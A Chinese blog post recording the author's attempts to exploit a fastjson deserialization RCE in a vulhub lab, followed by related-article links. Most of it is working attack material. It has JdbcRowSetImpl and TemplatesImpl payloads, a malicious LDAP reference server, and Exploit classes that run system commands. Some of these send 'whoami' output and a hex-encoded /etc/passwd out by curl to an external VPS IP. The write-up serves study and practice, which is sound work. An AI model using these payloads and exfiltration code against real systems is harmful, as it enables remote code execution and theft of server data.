比赛遇到了,一直没利用成功,这里做个记录。

环境搭建

首先用 vulhub 搭建 fastjson 的漏洞环境。

漏洞环境程序的逻辑为接收 body 的数据然后用 fastjson 解析。

漏洞利用

首先我们需要确认是否存在漏洞,可以采取让服务器发请求到我们的公网 vps

POST / HTTP/1.1
Host: 192.168.245.128:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 112 {"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://104.223.70.183:1099/Object","autoCommit":true}

方案一

没成功

来源

https://lazydog.me/post/fastjson-JdbcRowSetImpl-rce-exploit.html#3-L18

方案二

方案三

就是 vulhub 自带的一种利用方案。

首先编译 poc 得到字节码

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class Poc extends AbstractTranslet { public Poc() throws IOException {
Runtime.getRuntime().exec("curl http://104.223.70.183:3333/eeee");
} @Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
} @Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException { } public static void main(String[] args) throws Exception {
Poc t = new Poc();
}
}

然后把 .class 文件做 base64 加密

import base64
fin = open(r"Poc.class", "rb")
fout = open(r"en.txt", "w")
s = base64.encodestring(fin.read()).replace("\n", "")
fout.write(s)
fin.close()
fout.close()

修改 json_bytecodes 为 刚刚生成的 base64 文本 :

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAVMUG9jOwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAJaGFGbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAtAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXQHAC4BAApTb3VyY2VGaWxlAQAIUG9jLmphdmEMAAgACQcALwwAMAAxAQAkY3VybCBodHRwOi8vMTA0LjIyMy43MC4xODM6MzMzMy9lZWVlDAAyADMBAANQb2MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgALAAAADgADAAAACwAEAAwADQANAAwAAAAMAAEAAAAOAA0ADgAAAA8AAAAEAAEAEAABABEAEgABAAoAAABJAAAABAAAAAGxAAAAAgALAAAABgABAAAAEQAMAAAAKgAEAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABUAFgACAAAAAQAXABgAAwABABEAGQACAAoAAAA/AAAAAwAAAAGxAAAAAgALAAAABgABAAAAFgAMAAAAIAADAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABoAGwACAA8AAAAEAAEAHAAJAB0AHgACAAoAAABBAAIAAgAAAAm7AAVZtwAGTLEAAAACAAsAAAAKAAIAAAAZAAgAGgAMAAAAFgACAAAACQAfACAAAAAIAAEAIQAOAAEADwAAAAQAAQAiAAEAIwAAAAIAJA=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}

发送到服务器

方案四

首先起一个 ldap 服务

package person.server;

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL; import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory; import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode; /**
* LDAP server implementation returning JNDI references
*
* @author mbechler
*
*/
public class LdapServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main ( String[] args ) {
int port = 1389;
if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) {
System.err.println(LdapServer.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
System.exit(-1);
}
else if ( args.length > 1 ) {
port = Integer.parseInt(args[ 1 ]);
} try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening(); }
catch ( Exception e ) {
e.printStackTrace();
}
} private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; /**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
} /**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
} } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} }
}

参数为

http://104.223.70.183:8000/#Exploit 389

表示获取 http://104.223.70.183:8000/Exploit.class 的内容作为 payload , 服务监听在 389 端口。

编译 Exploit.class

import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader; public class Exploit {
public static String exec(String cmd) throws Exception {
String sb = "";
BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String lineStr;
while ((lineStr = inBr.readLine()) != null)
sb += lineStr + "\n";
inBr.close();
in.close();
return sb;
} public Exploit() throws Exception {
String result = "";
result = exec("whoami");
String cmd = "curl http://104.223.70.183/" + result;
throw new Exception(exec(cmd));
} public static void main(String[] args) throws Exception {
String result = "";
result = exec("whoami");
String cmd = "curl http://104.223.70.183/" + result;
throw new Exception(exec(cmd));
}
}

然后发送 poc 过去。

POST / HTTP/1.1
Host: 192.168.245.128:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 113 {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://104.223.70.183:389/Exploit", "autoCommit":true}

实际利用

尝试了很多方法都反弹不了 shell , 这里给一种折中的办法,首先执行命令,然后把结果 16 进制编码,然后用 curl 传出来

import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.ByteArrayOutputStream;
import java.io.InputStreamReader; public class Exploit { //转化字符串为十六进制编码
public static String toHexString(String s) {
String str = "";
for (int i = 0; i < s.length(); i++) {
int ch = (int) s.charAt(i);
String s4 = Integer.toHexString(ch);
str = str + s4;
}
return str;
} // 转化十六进制编码为字符串
public static String toStringHex1(String s) {
byte[] baKeyword = new byte[s.length() / 2];
for (int i = 0; i < baKeyword.length; i++) {
try {
baKeyword[i] = (byte) (0xff & Integer.parseInt(s.substring(
i * 2, i * 2 + 2), 16));
} catch (Exception e) {
e.printStackTrace();
}
}
try {
s = new String(baKeyword, "utf-8");// UTF-16le:Not
} catch (Exception e1) {
e1.printStackTrace();
}
return s;
} // 转化十六进制编码为字符串
public static String toStringHex2(String s) {
byte[] baKeyword = new byte[s.length() / 2];
for (int i = 0; i < baKeyword.length; i++) {
try {
baKeyword[i] = (byte) (0xff & Integer.parseInt(s.substring(
i * 2, i * 2 + 2), 16));
} catch (Exception e) {
e.printStackTrace();
}
}
try {
s = new String(baKeyword, "utf-8");// UTF-16le:Not
} catch (Exception e1) {
e1.printStackTrace();
}
return s;
} public static void main(String[] args) {
System.out.println(encode("中文"));
System.out.println(decode(encode("中文")));
} /*
* 16进制数字字符集
*/
private static String hexString = "0123456789ABCDEF"; /*
* 将字符串编码成16进制数字,适用于所有字符(包括中文)
*/
public static String encode(String str) {
// 根据默认编码获取字节数组
byte[] bytes = str.getBytes();
StringBuilder sb = new StringBuilder(bytes.length * 2);
// 将字节数组中每个字节拆解成2位16进制整数
for (int i = 0; i < bytes.length; i++) {
sb.append(hexString.charAt((bytes[i] & 0xf0) >> 4));
sb.append(hexString.charAt((bytes[i] & 0x0f) >> 0));
}
return sb.toString();
} /*
* 将16进制数字解码成字符串,适用于所有字符(包括中文)
*/
public static String decode(String bytes) {
ByteArrayOutputStream baos = new ByteArrayOutputStream(
bytes.length() / 2);
// 将每2位16进制整数组装成一个字节
for (int i = 0; i < bytes.length(); i += 2)
baos.write((hexString.indexOf(bytes.charAt(i)) << 4 | hexString
.indexOf(bytes.charAt(i + 1))));
return new String(baos.toByteArray());
} public static String exec(String cmd) throws Exception {
String sb = "";
BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String lineStr;
while ((lineStr = inBr.readLine()) != null)
sb += lineStr + "\n";
inBr.close();
in.close();
return sb;
} public Exploit() throws Exception {
String result = "";
result = encode(exec("cat /etc/passwd"));
String cmd = String.format("curl -d \"%s\" http://104.223.70.183/ ", result);
throw new Exception(exec(cmd));
}
}

参考

https://xz.aliyun.com/t/2897#toc-13
https://github.com/shengqi158/fastjson-remote-code-execute-poc

fastjson 反序列化漏洞利用总结的更多相关文章

  1. FastJson反序列化漏洞利用的三个细节 - TemplatesImpl的利用链

    0. 前言 记录在FastJson反序列化RCE漏洞分析和利用时的一些细节问题. 1. TemplatesImpl的利用链 关于 parse 和 parseObject FastJson中的 pars ...

  2. Fastjson反序列化漏洞概述

    Fastjson反序列化漏洞概述 ​ 背景 在推动Fastjson组件升级的过程中遇到一些问题,为帮助业务同学理解漏洞危害,下文将从整体上对其漏洞原理及利用方式做归纳总结,主要是一些概述性和原理上的东 ...

  3. fastjson反序列化-JdbcRowSetImpl利用链

    fastjson反序列化-JdbcRowSetImpl利用链 JdbcRowSetImpl利用链 fastjson反序列化JdbcRowSetImpl - Afant1 - 博客园 (cnblogs. ...

  4. fastjson反序列化漏洞实际案例利用

    fastjson反序列化rce实际案例利用全过程: 存在问题网站:http://***.com/ 在网站上寻找一些安全漏洞的时候,发现一条json数据包 数据包如下: POST /*** HTTP/1 ...

  5. Fastjson反序列化漏洞复现

    Fastjson反序列化漏洞复现 0x00 前言 对Fastjson反序列化漏洞进行复现. 0x01 漏洞环境 靶机环境:vulhub-fastjson-1.2.24 ip:172.16.10.18 ...

  6. Java安全之Fastjson反序列化漏洞分析

    Java安全之Fastjson反序列化漏洞分析 首发:先知论坛 0x00 前言 在前面的RMI和JNDI注入学习里面为本次的Fastjson打了一个比较好的基础.利于后面的漏洞分析. 0x01 Fas ...

  7. Fastjson反序列化漏洞分析 1.2.22-1.2.24

    Fastjson反序列化漏洞分析 1.2.22-1.2.24 Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两 ...

  8. fastjson反序列化漏洞研究(上)

    前言 最近护网期间,又听说fastjson传出“0day”,但网上并没有预警,在github上fastjson库中也有人提问关于fastjson反序列化漏洞的详情.也有人说是可能出现了新的绕过方式.不 ...

  9. Fastjson反序列化漏洞基础

    Fastjson反序列化漏洞基础 FastJson是alibaba的一款开源JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转换为等效的Java对象. 0x0 ...

随机推荐

  1. 03-02 Java键盘录入

    键盘录入基本格式: /* 为了让程序的数据更符合开发的数据,我们就加入了键盘录入. 让程序更灵活一下. 那么,我们如何实现键盘数据的录入呢? A:导包 格式: import java.util.Sca ...

  2. 关于oracle RAC心跳线采用直连 还是交换机连接的建议

    关于oracle RAC心跳线的连接方式,各个论坛,包括网上文章的说法是:官方说是不建议直连,建议采用交换机连接的方式!PS:但是,一直没有找到官方文档的出处,有知道的兄弟,烦请评论区提供下地址!!! ...

  3. 课程一(Neural Networks and Deep Learning),第二周(Basics of Neural Network programming)—— 3、Python Basics with numpy (optional)

    Python Basics with numpy (optional)Welcome to your first (Optional) programming exercise of the deep ...

  4. 有意思的App

    掘金 javadoop 专业相机也羡慕奖 – Focos 说个睡前故事 so easy 奖 – 洪恩双语绘本 效率蹭蹭上升奖 – Sorted³ 时光隧道走一回奖 – NOMO 相机 设计师也爱用奖 ...

  5. Resolve类中错误体系的处理

    标红的表示要走3步骤,也就是: final List<MethodResolutionPhase> methodResolutionSteps = List.of( MethodResol ...

  6. Jdbc Url 设置allowMultiQueries为true和false时底层处理机制研究

    一个mysql jdbc待解之谜 关于jdbc  url参数 allowMultiQueries 如下的一个普通JDBC示例: String user ="root"; Strin ...

  7. 20-hadoop-pagerank的计算

    转: http://www.cnblogs.com/rubinorth/p/5799848.html 参考尚学堂视频 1, 概念( 来自百度百科) PageRank是Google专有的算法,用于衡量特 ...

  8. mac 安装 python mysqlclient 遇到的问题及解决方法

    在 mac 上安装 mysqlclient 遇到了一些问题,查找资料很多人都遇到了同样的问题.通过资料和试验,成功了.这里记录一下,希望帮到遇到同样问题的人. 本人使用python3, 安装步骤如下: ...

  9. Lambda 遍历

    遍历列表元素 using System; using System.Collections.Generic; using System.Linq; using System.Text; using S ...

  10. php 冒泡排序的两种思路以及优化

    php冒泡排序,两种思路,时间复杂度都是O(n^2),当然最优的时间复杂度就是O(n),以下说的都是正序排列(倒序的话,把内层循环的大于号换成小于号就好了) 第一种冒泡排序 思路就是把第一个数跟所有的 ...